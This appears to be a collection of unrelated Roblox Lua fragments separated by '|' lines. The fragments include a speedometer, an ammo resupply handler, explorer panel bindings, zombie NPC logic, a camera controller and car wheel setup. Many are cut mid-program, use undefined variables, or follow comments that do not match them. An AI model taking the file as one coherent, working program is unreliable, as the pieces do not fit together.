script.Parent.Speed.Text = math.floor(UNITS[currentUnits].scaling*script.Parent.Parent.Values.Velocity.Value.Magnitude) .. " "..UNITS[currentUnits].units
end)
mouse.KeyDown:connect(function (key)
key = string.lower(key)
if key == "v" then
for index, child in ipairs(script.Parent.Parent:GetChildren()) do
if child.ClassName == "Frame" or child.ClassName == "ImageLabel" then
child.Visible = not child.Visible
end
end
end
end)
wait(.1)
Gear()
PBrake()
|
--// Touch Connections
|
L_3_:WaitForChild('Humanoid').Touched:connect(function(L_311_arg1)
local L_312_, L_313_ = SearchResupply(L_311_arg1)
if L_312_ and L_17_ then
L_17_ = false
L_103_ = L_24_.Ammo
L_104_ = L_24_.StoredAmmo * L_24_.MagCount
L_105_ = L_24_.ExplosiveAmmo
if L_58_:FindFirstChild('Resupply') then
L_58_.Resupply:Play()
end
wait(15)
L_17_ = true
end;
end)
|
--RGB Colors
|
local redV = 255 --If you want a different color change this. (Must understand RGB)
local greenV = 0
local blueV = 0
|
--generate bad words in ScreenGui.TextBox
|
local TextBox = script.Parent.Parent.TextBox
local TextLabel = script.Parent.Parent.TextLabel
local Button = script.Parent.Parent.Button
|
-- / Game Assets / --
|
local GameAssets = game.ServerStorage.GameAssets
|
--// Touch Connections
|
L_3_:WaitForChild('Humanoid').Touched:connect(function(L_307_arg1)
local L_308_, L_309_ = SearchResupply(L_307_arg1)
if L_308_ and L_17_ then
L_17_ = false
L_102_ = L_24_.Ammo
L_103_ = L_24_.StoredAmmo * L_24_.MagCount
L_104_ = L_24_.ExplosiveAmmo
if L_57_:FindFirstChild('Resupply') then
L_57_.Resupply:Play()
end
wait(15)
L_17_ = true
end;
end)
|
-- Libraries
|
local Libraries = Tool:WaitForChild 'Libraries'
local MoveUtil = require(script.Parent:WaitForChild 'Util')
|
-- get the current time in CET
|
local currentTime = os.time() + timezone
|
----------------------------------------------------------------
----------------------------------------------------------------
----------------------------------------------------------------
----------------------------------------------------------------
---- Option Bindables
|
do
local optionCallback = {
Modifiable = function(value)
for i = 1,#actionButtons do
actionButtons[i].Obj.Visible = value and Option.Selectable
end
cancelReparentDrag()
end;
Selectable = function(value)
for i = 1,#actionButtons do
actionButtons[i].Obj.Visible = value and Option.Modifiable
end
cancelSelectDrag()
Selection:Set({})
end;
}
local bindSetOption = explorerPanel:FindFirstChild("SetOption")
if not bindSetOption then
bindSetOption = Create('BindableFunction',{Name = "SetOption"})
bindSetOption.Parent = explorerPanel
end
bindSetOption.OnInvoke = function(optionName,value)
if optionCallback[optionName] then
Option[optionName] = value
optionCallback[optionName](value)
end
end
local bindGetOption = explorerPanel:FindFirstChild("GetOption")
if not bindGetOption then
bindGetOption = Create('BindableFunction',{Name = "GetOption"})
bindGetOption.Parent = explorerPanel
end
bindGetOption.OnInvoke = function(optionName)
if optionName then
return Option[optionName]
else
local options = {}
for k,v in pairs(Option) do
options[k] = v
end
return options
end
end
end
function SelectionVar()
return Selection
end
Input.InputBegan:connect(function(key)
if key.KeyCode == Enum.KeyCode.LeftControl then
HoldingCtrl = true
end
if key.KeyCode == Enum.KeyCode.LeftShift then
HoldingShift = true
end
end)
Input.InputEnded:connect(function(key)
if key.KeyCode == Enum.KeyCode.LeftControl then
HoldingCtrl = false
end
if key.KeyCode == Enum.KeyCode.LeftShift then
HoldingShift = false
end
end)
while RbxApi == nil do
RbxApi = GetApiRemote:Invoke()
wait()
end
explorerFilter.Changed:connect(function(prop)
if prop == "Text" then
rawUpdateList()
end
end)
CurrentInsertObjectWindow = CreateInsertObjectMenu(
GetClasses(),
"",
false,
function(option)
CurrentInsertObjectWindow.Visible = false
local list = SelectionVar():Get()
for i = 1,#list do
pcall(function() Instance.new(option,list[i]) end)
end
DestroyRightClick()
end
)
|
-- constants
|
local STAT_SCRIPT = ServerScriptService.StatScript
local REMOTES = ReplicatedStorage.Remotes
local MODULES = ReplicatedStorage.Modules
local CONFIG = require(MODULES.Config)
local PROJECTILE = require(MODULES.Projectile)
local DAMAGE = require(MODULES.Damage)
|
-- ====================
-- MINIGUN
-- Make a gun delay before/after firing
-- ====================
|
MinigunEnabled = false;
DelayBeforeFiring = 1;
DelayAfterFiring = 1;
|
--MainFunction
|
function module:CreateCredits()
cf:ClearPage(creditsFrame)
local totalY = 0
for _, updateGroup in pairs(credits) do
local aspectRatio = 6
for i,v in pairs(updateGroup) do
local label
if i == 1 then
label = template1:Clone()
aspectRatio = v[1]
label.BackgroundColor3 = Color3.fromRGB(95, 95, 95)
label.TextLabel.TextColor3 = Color3.fromRGB(255, 255, 255)
label.TextLabel.Text = v[2]
label.Parent = creditsFrame
else
label = template2:Clone()
label.Parent = creditsFrame
label.UIAspectRatioConstraint.AspectRatio = aspectRatio
label.BackgroundColor3 = cf:GetLabelBackgroundColor(i)
label.PlrName.Text = v[1]
label.PlayerImage.Image = cf:GetUserImage(cf:GetUserId(v[1]))
local labelSizeX = label.PlayerImage.AbsoluteSize.Y
label.PlayerImage.Size = UDim2.new(0,labelSizeX,1,0)
for i = 1,3 do
local descLabel = label:FindFirstChild("Desc"..i)
if descLabel then
local desc = v[2][i]
if desc then
descLabel.Text = desc
else
descLabel.Text = ""
end
local xOffset = labelSizeX*1.15
local yScalePos
local yScaleSize
local yScaleSize2
if aspectRatio <= 5 then
yScalePos = 0.33+((i-1)*0.25)
yScaleSize = 0.255
yScaleSize2 = 0.31
else
yScalePos = 0.36+((i-1)*0.25)
yScaleSize = 0.26 -- Size
yScaleSize2 = 0.32 -- Pos
end
descLabel.Position = UDim2.new(0, xOffset, yScalePos, 0)
descLabel.Size = UDim2.new(0.75, 0, yScaleSize, 0)
label.PlrName.Position = UDim2.new(0, xOffset, label.PlrName.Position.Y.Scale, label.PlrName.Position.Y.Offset)
label.PlrName.Size = UDim2.new(0.75, 0, yScaleSize2, 0)
end
end
end
label.Name = "Label"
label.Visible = true
totalY = totalY + label.AbsoluteSize.Y
end
end
creditsFrame.CanvasSize = UDim2.new(0,0,0,totalY)
end
return module
|
--[[
Implementation
]]
|
local function isAlive()
return maid.humanoid.Health > 0 and maid.humanoid:GetState() ~= Enum.HumanoidStateType.Dead
end
local function destroy()
maid:destroy()
end
local function getposition()
local searchParts = workspace.SearchParts:GetChildren()
local position = searchParts[math.random(1, #searchParts)].Position
return position
end
local function patrol()
while isAlive() do
if not attacking then
local position = getposition()
maid.humanoid.WalkSpeed = PATROL_WALKSPEED
maid.humanoid:MoveTo(position)
end
wait(random:NextInteger(MIN_REPOSITION_TIME, MAX_REPOSITION_TIME))
end
end
local function isInstaceAttackable(targetInstance)
local targetParent = targetInstance and targetInstance.Parent
local targetHumanoid = targetParent and targetParent:FindFirstChild("Humanoid")
local targetHumanoidRootPart = targetParent and targetParent:FindFirstChild("HumanoidRootPart")
if not targetHumanoid or not targetHumanoidRootPart then
return false
end
local isAttackable = false
local distance = (maid.humanoidRootPart.Position - targetHumanoidRootPart.Position).Magnitude
if distance <= ATTACK_RADIUS then
local ray = Ray.new(
maid.humanoidRootPart.Position,
(targetHumanoidRootPart.Position - maid.humanoidRootPart.Position).Unit * distance
)
local part = Workspace:FindPartOnRayWithIgnoreList(ray, {
targetInstance.Parent, maid.instance,
}, false, true)
if
targetInstance ~= maid.instance and
targetInstance:IsDescendantOf(Workspace) and
targetHumanoid.Health > 0 and
targetHumanoid:GetState() ~= Enum.HumanoidStateType.Dead and
not CollectionService:HasTag(targetInstance.Parent, "ZombieFriend") and
not part
then
isAttackable = true
end
end
return isAttackable
end
local function findTargets()
-- Do a new search region if we are not already searching through an existing search region
if not searchingForTargets and tick() - timeSearchEnded >= SEARCH_DELAY then
searchingForTargets = true
-- Create a new region
local centerPosition = maid.humanoidRootPart.Position
local topCornerPosition = centerPosition + Vector3.new(ATTACK_RADIUS, ATTACK_RADIUS, ATTACK_RADIUS)
local bottomCornerPosition = centerPosition + Vector3.new(-ATTACK_RADIUS, -ATTACK_RADIUS, -ATTACK_RADIUS)
searchRegion = Region3.new(bottomCornerPosition, topCornerPosition)
searchParts = Workspace:FindPartsInRegion3(searchRegion, maid.instance, math.huge)
newTarget = nil
newTargetDistance = nil
-- Reset to defaults
searchIndex = 1
end
if searchingForTargets then
-- Search through our list of parts and find attackable humanoids
local checkedParts = 0
while searchingForTargets and searchIndex <= #searchParts and checkedParts < MAX_PARTS_PER_HEARTBEAT do
local currentPart = searchParts[searchIndex]
if currentPart and isInstaceAttackable(currentPart) then
local character = currentPart.Parent
local distance = (character.HumanoidRootPart.Position - maid.humanoidRootPart.Position).magnitude
-- Determine if the charater is the closest
if not newTargetDistance or distance < newTargetDistance then
newTarget = character.HumanoidRootPart
newTargetDistance = distance
end
end
searchIndex = searchIndex + 1
checkedParts = checkedParts + 1
end
if searchIndex >= #searchParts then
target = newTarget
searchingForTargets = false
timeSearchEnded = tick()
end
end
end
local function runToTarget()
local targetPosition = (maid.humanoidRootPart.Position - target.Position).Unit * ATTACK_RANGE + target.Position
maid.humanoid:MoveTo(targetPosition)
if not movingToAttack then
maid.humanoid.WalkSpeed = random:NextInteger(ATTACK_MIN_WALKSPEED, ATTACK_MAX_WALKSPEED)
end
movingToAttack = true
-- Stop the attack animation
maid.attackAnimation:Stop()
end
local function attack()
attacking = true
lastAttackTime = tick()
local originalWalkSpeed = maid.humanoid.WalkSpeed
maid.humanoid.WalkSpeed = 0
-- Play the attack animation
maid.attackAnimation:Play()
-- Create a part and use it as a collider, to find humanoids in front of the zombie
-- This is not ideal, but it is the simplest way to achieve a hitbox
local hitPart = Instance.new("Part")
hitPart.Size = HITBOX_SIZE
hitPart.Transparency = 1
hitPart.CanCollide = true
hitPart.Anchored = true
hitPart.CFrame = maid.humanoidRootPart.CFrame * CFrame.new(0, -1, -3)
hitPart.Parent = Workspace
local hitTouchingParts = hitPart:GetTouchingParts()
-- Destroy the hitPart before it results in physics updates on touched parts
hitPart:Destroy()
-- Find humanoids to damage
local attackedHumanoids = {}
for _, part in pairs(hitTouchingParts) do
local parentModel = part:FindFirstAncestorOfClass("Model")
if isInstaceAttackable(part) and not attackedHumanoids[parentModel] then
attackedHumanoids[parentModel.Humanoid] = true
end
end
-- Damage the humanoids
for humanoid in pairs(attackedHumanoids) do
humanoid:TakeDamage(ATTACK_DAMAGE)
end
startPosition = maid.instance.PrimaryPart.Position
wait(ATTACK_STAND_TIME)
maid.humanoid.WalkSpeed = originalWalkSpeed
maid.attackAnimation:Stop()
attacking = false
end
|
-- Reset the camera look vector when the camera is enabled for the first time
|
local SetCameraOnSpawn = true
local UseRenderCFrame = false
pcall(function()
local rc = Instance.new('Part'):GetRenderCFrame()
UseRenderCFrame = (rc ~= nil)
end)
local function GetRenderCFrame(part)
return UseRenderCFrame and part:GetRenderCFrame() or part.CFrame
end
local function CreateCamera()
local this = {}
this.ShiftLock = false
this.Enabled = false
local pinchZoomSpeed = 20
local isFirstPerson = false
local isRightMouseDown = false
this.RotateInput = Vector2.new()
function this:GetShiftLock()
return ShiftLockController:IsShiftLocked()
end
function this:GetHumanoid()
local player = PlayersService.LocalPlayer
return findPlayerHumanoid(player)
end
function this:GetHumanoidRootPart()
local humanoid = this:GetHumanoid()
return humanoid and humanoid.Torso
end
function this:GetRenderCFrame(part)
GetRenderCFrame(part)
end
function this:GetSubjectPosition()
local result = nil
local camera = workspace.CurrentCamera
local cameraSubject = camera and camera.CameraSubject
if cameraSubject then
if cameraSubject:IsA('VehicleSeat') then
local subjectCFrame = GetRenderCFrame(cameraSubject)
result = subjectCFrame.p + subjectCFrame:vectorToWorldSpace(SEAT_OFFSET)
elseif cameraSubject:IsA('SkateboardPlatform') then
local subjectCFrame = GetRenderCFrame(cameraSubject)
result = subjectCFrame.p + SEAT_OFFSET
elseif cameraSubject:IsA('BasePart') then
local subjectCFrame = GetRenderCFrame(cameraSubject)
result = subjectCFrame.p
elseif cameraSubject:IsA('Model') then
result = cameraSubject:GetModelCFrame().p
elseif cameraSubject:IsA('Humanoid') then
local humanoidRootPart = cameraSubject.Torso
if humanoidRootPart and humanoidRootPart:IsA('BasePart') then
local subjectCFrame = GetRenderCFrame(humanoidRootPart)
result = subjectCFrame.p +
subjectCFrame:vectorToWorldSpace(HEAD_OFFSET + cameraSubject.CameraOffset)
end
end
end
return result
end
function this:ResetCameraLook()
end
function this:GetCameraLook()
return workspace.CurrentCamera and workspace.CurrentCamera.CoordinateFrame.lookVector or Vector3.new(0,0,1)
end
function this:GetCameraZoom()
if this.currentZoom == nil then
local player = PlayersService.LocalPlayer
this.currentZoom = player and clamp(player.CameraMinZoomDistance, player.CameraMaxZoomDistance, 10) or 10
end
return this.currentZoom
end
function this:GetCameraActualZoom()
local camera = workspace.CurrentCamera
if camera then
return (camera.CoordinateFrame.p - camera.Focus.p).magnitude
end
end
function this:ViewSizeX()
local result = 1024
local player = PlayersService.LocalPlayer
local mouse = player and player:GetMouse()
if mouse then
result = mouse.ViewSizeX
end
return result
end
function this:ViewSizeY()
local result = 768
local player = PlayersService.LocalPlayer
local mouse = player and player:GetMouse()
if mouse then
result = mouse.ViewSizeY
end
return result
end
function this:ScreenTranslationToAngle(translationVector)
local screenX = this:ViewSizeX()
local screenY = this:ViewSizeY()
local xTheta = (translationVector.x / screenX)
local yTheta = (translationVector.y / screenY)
return Vector2.new(xTheta, yTheta)
end
function this:MouseTranslationToAngle(translationVector)
local xTheta = (translationVector.x / 1920)
local yTheta = (translationVector.y / 1200)
return Vector2.new(xTheta, yTheta)
end
function this:RotateCamera(startLook, xyRotateVector)
-- Could cache these values so we don't have to recalc them all the time
local startCFrame = CFrame.new(Vector3.new(), startLook)
local startVertical = math.asin(startLook.y)
local yTheta = clamp(-MAX_Y + startVertical, -MIN_Y + startVertical, xyRotateVector.y)
local resultLookVector = (CFrame.Angles(0, -xyRotateVector.x, 0) * startCFrame * CFrame.Angles(-yTheta,0,0)).lookVector
return resultLookVector, Vector2.new(xyRotateVector.x, yTheta)
end
function this:IsInFirstPerson()
return isFirstPerson
end
-- there are several cases to consider based on the state of input and camera rotation mode
function this:UpdateMouseBehavior()
-- first time transition to first person mode or shiftlock
if isFirstPerson or self:GetShiftLock() then
if UserInputService.MouseBehavior ~= Enum.MouseBehavior.LockCenter then
pcall(function() GameSettings.RotationType = Enum.RotationType.CameraRelative end)
UserInputService.MouseBehavior = Enum.MouseBehavior.LockCenter
end
else
pcall(function() GameSettings.RotationType = Enum.RotationType.MovementRelative end)
if isRightMouseDown then
UserInputService.MouseBehavior = Enum.MouseBehavior.LockCurrentPosition
else
UserInputService.MouseBehavior = Enum.MouseBehavior.Default
end
end
end
function this:ZoomCamera(desiredZoom)
local player = PlayersService.LocalPlayer
if player then
if player.CameraMode == Enum.CameraMode.LockFirstPerson then
this.currentZoom = 0
else
this.currentZoom = clamp(player.CameraMinZoomDistance, player.CameraMaxZoomDistance, desiredZoom)
end
end
isFirstPerson = self:GetCameraZoom() < 2
ShiftLockController:SetIsInFirstPerson(isFirstPerson)
-- set mouse behavior
self:UpdateMouseBehavior()
return self:GetCameraZoom()
end
local function rk4Integrator(position, velocity, t)
local direction = velocity < 0 and -1 or 1
local function acceleration(p, v)
local accel = direction * math.max(1, (p / 3.3) + 0.5)
return accel
end
local p1 = position
local v1 = velocity
local a1 = acceleration(p1, v1)
local p2 = p1 + v1 * (t / 2)
local v2 = v1 + a1 * (t / 2)
local a2 = acceleration(p2, v2)
local p3 = p1 + v2 * (t / 2)
local v3 = v1 + a2 * (t / 2)
local a3 = acceleration(p3, v3)
local p4 = p1 + v3 * t
local v4 = v1 + a3 * t
local a4 = acceleration(p4, v4)
local positionResult = position + (v1 + 2 * v2 + 2 * v3 + v4) * (t / 6)
local velocityResult = velocity + (a1 + 2 * a2 + 2 * a3 + a4) * (t / 6)
return positionResult, velocityResult
end
function this:ZoomCameraBy(zoomScale)
local zoom = this:GetCameraActualZoom()
if zoom then
-- Can break into more steps to get more accurate integration
zoom = rk4Integrator(zoom, zoomScale, 1)
self:ZoomCamera(zoom)
end
return self:GetCameraZoom()
end
function this:ZoomCameraFixedBy(zoomIncrement)
return self:ZoomCamera(self:GetCameraZoom() + zoomIncrement)
end
function this:Update()
end
---- Input Events ----
local startPos = nil
local lastPos = nil
local panBeginLook = nil
local fingerTouches = {}
local NumUnsunkTouches = 0
local StartingDiff = nil
local pinchBeginZoom = nil
this.ZoomEnabled = true
this.PanEnabled = true
this.KeyPanEnabled = true
local function OnTouchBegan(input, processed)
fingerTouches[input] = processed
if not processed then
NumUnsunkTouches = NumUnsunkTouches + 1
end
end
local function OnTouchChanged(input, processed)
if fingerTouches[input] == nil then
fingerTouches[input] = processed
if not processed then
NumUnsunkTouches = NumUnsunkTouches + 1
end
end
if NumUnsunkTouches == 1 then
if fingerTouches[input] == false then
panBeginLook = panBeginLook or this:GetCameraLook()
startPos = startPos or input.Position
lastPos = lastPos or startPos
this.UserPanningTheCamera = true
local delta = input.Position - lastPos
if this.PanEnabled then
local desiredXYVector = this:ScreenTranslationToAngle(delta) * TOUCH_SENSITIVTY
this.RotateInput = this.RotateInput + desiredXYVector
end
lastPos = input.Position
end
else
panBeginLook = nil
startPos = nil
lastPos = nil
this.UserPanningTheCamera = false
end
if NumUnsunkTouches == 2 then
local unsunkTouches = {}
for touch, wasSunk in pairs(fingerTouches) do
if not wasSunk then
table.insert(unsunkTouches, touch)
end
end
if #unsunkTouches == 2 then
local difference = (unsunkTouches[1].Position - unsunkTouches[2].Position).magnitude
if StartingDiff and pinchBeginZoom then
local scale = difference / math.max(0.01, StartingDiff)
local clampedScale = clamp(0.1, 10, scale)
if this.ZoomEnabled then
this:ZoomCamera(pinchBeginZoom / clampedScale)
end
else
StartingDiff = difference
pinchBeginZoom = this:GetCameraActualZoom()
end
end
else
StartingDiff = nil
pinchBeginZoom = nil
end
end
local function OnTouchEnded(input, processed)
if fingerTouches[input] == false then
if NumUnsunkTouches == 1 then
panBeginLook = nil
startPos = nil
lastPos = nil
this.UserPanningTheCamera = false
elseif NumUnsunkTouches == 2 then
StartingDiff = nil
pinchBeginZoom = nil
end
end
if fingerTouches[input] ~= nil and fingerTouches[input] == false then
NumUnsunkTouches = NumUnsunkTouches - 1
end
fingerTouches[input] = nil
end
local function OnMouse2Down(input, processed)
if processed then return end
isRightMouseDown = true
this:UpdateMouseBehavior()
panBeginLook = this:GetCameraLook()
startPos = input.Position
lastPos = startPos
this.UserPanningTheCamera = true
end
local function OnMouse2Up(input, processed)
isRightMouseDown = false
this:UpdateMouseBehavior()
panBeginLook = nil
startPos = nil
lastPos = nil
this.UserPanningTheCamera = false
end
local function OnMouseMoved(input, processed)
if startPos and lastPos and panBeginLook then
local currPos = lastPos + input.Delta
local totalTrans = currPos - startPos
if this.PanEnabled then
local desiredXYVector = this:MouseTranslationToAngle(input.Delta) * MOUSE_SENSITIVITY
this.RotateInput = this.RotateInput + desiredXYVector
end
lastPos = currPos
elseif this:IsInFirstPerson() or this:GetShiftLock() then
if this.PanEnabled then
local desiredXYVector = this:MouseTranslationToAngle(input.Delta) * MOUSE_SENSITIVITY
this.RotateInput = this.RotateInput + desiredXYVector
end
end
end
local function OnMouseWheel(input, processed)
if not processed then
if this.ZoomEnabled then
this:ZoomCameraBy(clamp(-1, 1, -input.Position.Z) * 1.4)
end
end
end
local function round(num)
return math.floor(num + 0.5)
end
local eight2Pi = math.pi / 4
local function rotateVectorByAngleAndRound(camLook, rotateAngle, roundAmount)
if camLook ~= Vector3.new(0,0,0) then
camLook = camLook.unit
local currAngle = math.atan2(camLook.z, camLook.x)
local newAngle = round((math.atan2(camLook.z, camLook.x) + rotateAngle) / roundAmount) * roundAmount
return newAngle - currAngle
end
return 0
end
local function OnKeyDown(input, processed)
if processed then return end
if this.ZoomEnabled then
if input.KeyCode == Enum.KeyCode.I then
this:ZoomCameraBy(-5)
elseif input.KeyCode == Enum.KeyCode.O then
this:ZoomCameraBy(5)
end
end
if panBeginLook == nil and this.KeyPanEnabled then
if input.KeyCode == Enum.KeyCode.Left then
this.TurningLeft = true
elseif input.KeyCode == Enum.KeyCode.Right then
this.TurningRight = true
elseif input.KeyCode == Enum.KeyCode.Comma then
local angle = rotateVectorByAngleAndRound(this:GetCameraLook() * Vector3.new(1,0,1), -eight2Pi * (3/4), eight2Pi)
if angle ~= 0 then
this.RotateInput = this.RotateInput + Vector2.new(angle, 0)
this.LastUserPanCamera = tick()
this.LastCameraTransform = nil
end
elseif input.KeyCode == Enum.KeyCode.Period then
local angle = rotateVectorByAngleAndRound(this:GetCameraLook() * Vector3.new(1,0,1), eight2Pi * (3/4), eight2Pi)
if angle ~= 0 then
this.RotateInput = this.RotateInput + Vector2.new(angle, 0)
this.LastUserPanCamera = tick()
this.LastCameraTransform = nil
end
elseif input.KeyCode == Enum.KeyCode.PageUp then
--elseif input.KeyCode == Enum.KeyCode.Home then
this.RotateInput = this.RotateInput + Vector2.new(0,math.rad(15))
this.LastCameraTransform = nil
elseif input.KeyCode == Enum.KeyCode.PageDown then
--elseif input.KeyCode == Enum.KeyCode.End then
this.RotateInput = this.RotateInput + Vector2.new(0,math.rad(-15))
this.LastCameraTransform = nil
end
end
end
local function OnKeyUp(input, processed)
if input.KeyCode == Enum.KeyCode.Left then
this.TurningLeft = false
elseif input.KeyCode == Enum.KeyCode.Right then
this.TurningRight = false
end
end
local lastThumbstickRotate = nil
local numOfSeconds = 0.7
local currentSpeed = 0
local maxSpeed = 0.1
local thumbstickSensitivity = 1.0
local lastThumbstickPos = Vector2.new(0,0)
local ySensitivity = 0.65
local lastVelocity = nil
-- K is a tunable parameter that changes the shape of the S-curve
-- the larger K is the more straight/linear the curve gets
local k = 0.35
local lowerK = 0.8
local function SCurveTranform(t)
t = clamp(-1,1,t)
if t >= 0 then
return (k*t) / (k - t + 1)
end
return -((lowerK*-t) / (lowerK + t + 1))
end
-- DEADZONE
local DEADZONE = 0.1
local function toSCurveSpace(t)
return (1 + DEADZONE) * (2*math.abs(t) - 1) - DEADZONE
end
local function fromSCurveSpace(t)
return t/2 + 0.5
end
local function gamepadLinearToCurve(thumbstickPosition)
local function onAxis(axisValue)
local sign = 1
if axisValue < 0 then
sign = -1
end
local point = fromSCurveSpace(SCurveTranform(toSCurveSpace(math.abs(axisValue))))
point = point * sign
return clamp(-1,1,point)
end
return Vector2.new(onAxis(thumbstickPosition.x), onAxis(thumbstickPosition.y))
end
function this:UpdateGamepad()
local gamepadPan = this.GamepadPanningCamera
if gamepadPan then
gamepadPan = gamepadLinearToCurve(gamepadPan)
local currentTime = tick()
if gamepadPan.X ~= 0 or gamepadPan.Y ~= 0 then
this.userPanningTheCamera = true
elseif gamepadPan == Vector2.new(0,0) then
lastThumbstickRotate = nil
if lastThumbstickPos == Vector2.new(0,0) then
currentSpeed = 0
end
end
local finalConstant = 0
if lastThumbstickRotate then
local elapsedTime = (currentTime - lastThumbstickRotate) * 10
currentSpeed = currentSpeed + (maxSpeed * ((elapsedTime*elapsedTime)/numOfSeconds))
if currentSpeed > maxSpeed then currentSpeed = maxSpeed end
if lastVelocity then
local velocity = (gamepadPan - lastThumbstickPos)/(currentTime - lastThumbstickRotate)
local velocityDeltaMag = (velocity - lastVelocity).magnitude
if velocityDeltaMag > 12 then
currentSpeed = currentSpeed * (20/velocityDeltaMag)
if currentSpeed > maxSpeed then currentSpeed = maxSpeed end
end
end
finalConstant = thumbstickSensitivity * currentSpeed
lastVelocity = (gamepadPan - lastThumbstickPos)/(currentTime - lastThumbstickRotate)
end
lastThumbstickPos = gamepadPan
lastThumbstickRotate = currentTime
return Vector2.new( gamepadPan.X * finalConstant, gamepadPan.Y * finalConstant * ySensitivity)
end
return Vector2.new(0,0)
end
local InputBeganConn, InputChangedConn, InputEndedConn, ShiftLockToggleConn = nil, nil, nil, nil
function this:DisconnectInputEvents()
if InputBeganConn then
InputBeganConn:disconnect()
InputBeganConn = nil
end
if InputChangedConn then
InputChangedConn:disconnect()
InputChangedConn = nil
end
if InputEndedConn then
InputEndedConn:disconnect()
InputEndedConn = nil
end
if ShiftLockToggleConn then
ShiftLockToggleConn:disconnect()
ShiftLockToggleConn = nil
end
this.TurningLeft = false
this.TurningRight = false
this.LastCameraTransform = nil
self.LastSubjectCFrame = nil
this.UserPanningTheCamera = false
this.RotateInput = Vector2.new()
this.GamepadPanningCamera = Vector2.new(0,0)
-- Reset input states
startPos = nil
lastPos = nil
panBeginLook = nil
isRightMouseDown = false
fingerTouches = {}
NumUnsunkTouches = 0
StartingDiff = nil
pinchBeginZoom = nil
-- Unlock mouse for example if right mouse button was being held down
if UserInputService.MouseBehavior ~= Enum.MouseBehavior.LockCenter then
UserInputService.MouseBehavior = Enum.MouseBehavior.Default
end
end
function this:ConnectInputEvents()
InputBeganConn = UserInputService.InputBegan:connect(function(input, processed)
if input.UserInputType == Enum.UserInputType.Touch and IsTouch then
OnTouchBegan(input, processed)
elseif input.UserInputType == Enum.UserInputType.MouseButton2 and not IsTouch then
OnMouse2Down(input, processed)
end
-- Keyboard
if input.UserInputType == Enum.UserInputType.Keyboard then
OnKeyDown(input, processed)
end
end)
InputChangedConn = UserInputService.InputChanged:connect(function(input, processed)
if input.UserInputType == Enum.UserInputType.Touch and IsTouch then
OnTouchChanged(input, processed)
elseif input.UserInputType == Enum.UserInputType.MouseMovement and not IsTouch then
OnMouseMoved(input, processed)
elseif input.UserInputType == Enum.UserInputType.MouseWheel and not IsTouch then
OnMouseWheel(input, processed)
end
end)
InputEndedConn = UserInputService.InputEnded:connect(function(input, processed)
if input.UserInputType == Enum.UserInputType.Touch and IsTouch then
OnTouchEnded(input, processed)
elseif input.UserInputType == Enum.UserInputType.MouseButton2 and not IsTouch then
OnMouse2Up(input, processed)
end
-- Keyboard
if input.UserInputType == Enum.UserInputType.Keyboard then
OnKeyUp(input, processed)
end
end)
ShiftLockToggleConn = ShiftLockController.OnShiftLockToggled.Event:connect(function()
this:UpdateMouseBehavior()
end)
this.RotateInput = Vector2.new()
local getGamepadPan = function(name, state, input)
if input.UserInputType == Enum.UserInputType.Gamepad1 and input.KeyCode == Enum.KeyCode.Thumbstick2 then
if state == Enum.UserInputState.Cancel then
this.GamepadPanningCamera = Vector2.new(0,0)
return
end
local inputVector = Vector2.new(input.Position.X, -input.Position.Y)
if inputVector.magnitude > 0.1 then
this.GamepadPanningCamera = Vector2.new(input.Position.X, -input.Position.Y)
else
this.GamepadPanningCamera = Vector2.new(0,0)
end
end
end
local doGamepadZoom = function(name, state, input)
if input.UserInputType == Enum.UserInputType.Gamepad1 and input.KeyCode == Enum.KeyCode.ButtonR3 and state == Enum.UserInputState.Begin then
if this.currentZoom > 0.5 then
this:ZoomCamera(0)
else
this:ZoomCamera(10)
end
end
end
game.ContextActionService:BindAction("RootCamGamepadPan", getGamepadPan, false, Enum.KeyCode.Thumbstick2)
game.ContextActionService:BindAction("RootCamGamepadZoom", doGamepadZoom, false, Enum.KeyCode.ButtonR3)
-- set mouse behavior
self:UpdateMouseBehavior()
end
function this:SetEnabled(newState)
if newState ~= self.Enabled then
self.Enabled = newState
if self.Enabled then
self:ConnectInputEvents()
else
self:DisconnectInputEvents()
end
end
end
local function OnPlayerAdded(player)
player.Changed:connect(function(prop)
if this.Enabled then
if prop == "CameraMode" or prop == "CameraMaxZoomDistance" or prop == "CameraMinZoomDistance" then
this:ZoomCameraFixedBy(0)
end
end
end)
local function OnCharacterAdded(newCharacter)
this:ZoomCamera(12.5)
local humanoid = findPlayerHumanoid(player)
local start = tick()
while tick() - start < 0.3 and (humanoid == nil or humanoid.Torso == nil) do
wait()
humanoid = findPlayerHumanoid(player)
end
local function setLookBehindChatacter()
if humanoid and humanoid.Torso and player.Character == newCharacter then
local newDesiredLook = (humanoid.Torso.CFrame.lookVector - Vector3.new(0,0.23,0)).unit
local horizontalShift = findAngleBetweenXZVectors(newDesiredLook, this:GetCameraLook())
local vertShift = math.asin(this:GetCameraLook().y) - math.asin(newDesiredLook.y)
if not IsFinite(horizontalShift) then
horizontalShift = 0
end
if not IsFinite(vertShift) then
vertShift = 0
end
this.RotateInput = Vector2.new(horizontalShift, vertShift)
-- reset old camera info so follow cam doesn't rotate us
this.LastCameraTransform = nil
end
end
wait()
setLookBehindChatacter()
end
player.CharacterAdded:connect(function(character)
if this.Enabled or SetCameraOnSpawn then
OnCharacterAdded(character)
SetCameraOnSpawn = false
end
end)
if player.Character then
spawn(function() OnCharacterAdded(player.Character) end)
end
end
if PlayersService.LocalPlayer then
OnPlayerAdded(PlayersService.LocalPlayer)
end
PlayersService.ChildAdded:connect(function(child)
if child and PlayersService.LocalPlayer == child then
OnPlayerAdded(PlayersService.LocalPlayer)
end
end)
return this
end
return CreateCamera
|
--SSMR.Rotation = SSMR.Rotation + Vector3.new(23,40,66)
|
SSMR.Name = "MR"
SSMR.Transparency = 1
SSMR.CFrame = FR.CFrame
SSMR.Attachment.Rotation = Vector3.new(0,0,90)
local SSL = SSML:Clone()
SSL.Parent = script.Parent.Parent.Parent.LW
SSL.Attachment.Rotation = Vector3.new(0,0,90)
SSL.CFrame = SSML.CFrame
local xSSL = SSML:Clone()
xSSL.Parent = script.Parent.Parent.Parent.LW
xSSL.Rotation = xSSL.Rotation + Vector3.new(0,0,-90)
xSSL.Name = "WheelML"
xSSL.CFrame = SSML.CFrame
xSSL.Attachment.Rotation = Vector3.new(0,0,0)
local SSR = SSMR:Clone()
SSR.Parent = script.Parent.Parent.Parent.RW
SSR.Attachment.Rotation = Vector3.new(0,0,90)
SSR.CFrame = SSMR.CFrame
local xSSR = SSMR:Clone()
xSSR.Parent = script.Parent.Parent.Parent.RW
xSSR.Name = "WheelMR"
xSSR.CFrame = SSMR.CFrame
xSSR.Attachment.Rotation = Vector3.new(0,0,0)
local RLSS = Instance.new("HingeConstraint",SSMR)
